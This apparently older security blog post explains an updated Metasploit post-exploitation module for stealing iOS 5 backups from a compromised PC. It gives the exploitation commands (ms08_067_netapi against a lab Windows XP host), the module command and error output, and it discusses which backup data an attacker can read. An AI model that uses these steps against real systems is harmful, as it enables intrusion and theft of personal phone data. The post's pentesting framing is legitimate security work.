Metasploit post exploitation scripts to steal iOS 5 backups

Metasploit contains a post exploitation module using which we can steal the Apple iOS backup files from a victim’s computer. However the existing module was designed for iOS 4 backups and does not support the latest iOS 5 backups. I have updated the scripts to make it work with iOS 5 backups.

Running the existing apple_ios_backup post exploitation module in the Metasploit (v4.4.0) against an iOS 5 backup ends up with the below exception.

meterpreter> run post/multi/gather/apple_ios_backup [*] Checking for backups in C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup [*] Found C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3 [*] Checking for backups in C:\Documents and Settings\SATISH-E6338BC0\Application Data\Apple Computer\MobileSync\Backup [*] Pulling data from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3... [*] Reading Manifest.mbdb from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3... [*] Reading Manifest.mbdx from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3... [-] Post failed: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified. [-] Call stack: [-] /opt/metasploit/msf3/lib/rex/post/meterpreter/channel.rb:116:in `create' [-] /opt/metasploit/msf3/lib/rex/post/meterpreter/channels/pools/file.rb:35:in `open' [-] /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:325:in `_open' [-] /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:276:in `initialize'

Below details outline the usage of updated Metasploit – Apple iOS Backup File Extraction module. I have used Metasploit 4.4 from Backtrack 5R1.

Apple iOS Backup File Extraction module is a post exploitation module. Metasploit says “The post-exploitation modules (post for short) are designed to run on systems that were compromised through another vector, whether its social engineering, a guessed password, or an unpatched vulnerability”. So in order to use the iOS backup module, first we have to compromise the system using some other vector.

Usage Steps:

1. Download the apple_ios_backup.rb and place it in /opt/metasploit/msf3/modules/post/multi/gather/ directory.

2. Download the apple_backup_manifestdb.rb and place it in /opt/metasploit/msf3/lib/rex/parser/ directory.

3. Open the Metasploit using msfconsole.

4. Use meterpreter as a payload and exploit a vulnerability in the target system.

In my case, the victim machine is running with the Windows XP OS (192.168.209.128) which is vulnerable to ms08_067_netapi vulnerability. Following the below steps exploits the vulnerability and opens a meterpreter shell.

msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.209.128 RHOST => 192.168.209.128 msf exploit(ms08_067_netapi) > exploit

5. Once the meterpreter session is established, iOS backup on the victim machine can be dumped using the following command- > run post/multi/gather/apple_ios_backup

The above script searches for the iOS backup files in the default iTunes backup locations. If it does not find any backup in the target system, it will displays ‘ No users found with an iTunes backup directory’ message. If it finds the backup it dumps all the files and stores them as db files in the ~/.msf4/loot/ directory.

Though Apple iOS backup extraction module dumps all the files from the victim’s backup, the level of data revealed to the attacker depends on the type of the iOS backup. If the victim machine contains an encrypted backup, the information that we get from stealing the backup files is almost nothing. Because all the files in the encrypted backup are encrypted with the user supplied iTunes password. If the victim machine contains a normal backup, we can read the sensitive data stored in all files except the Keychain database. In case of normal backups, the keychain is encrypted with a hardware key which is embedded in the iPhone.

The post module can steal the iOS backups from Windows and Mac OS X machines. I have tested it for Windows. It should definitely work for OS X as well.

iOS backup is a treasure for pentesters. Happy hacking 🙂

Video:

[Update -October 11, 2012]: The module also works for iOS 6 backups.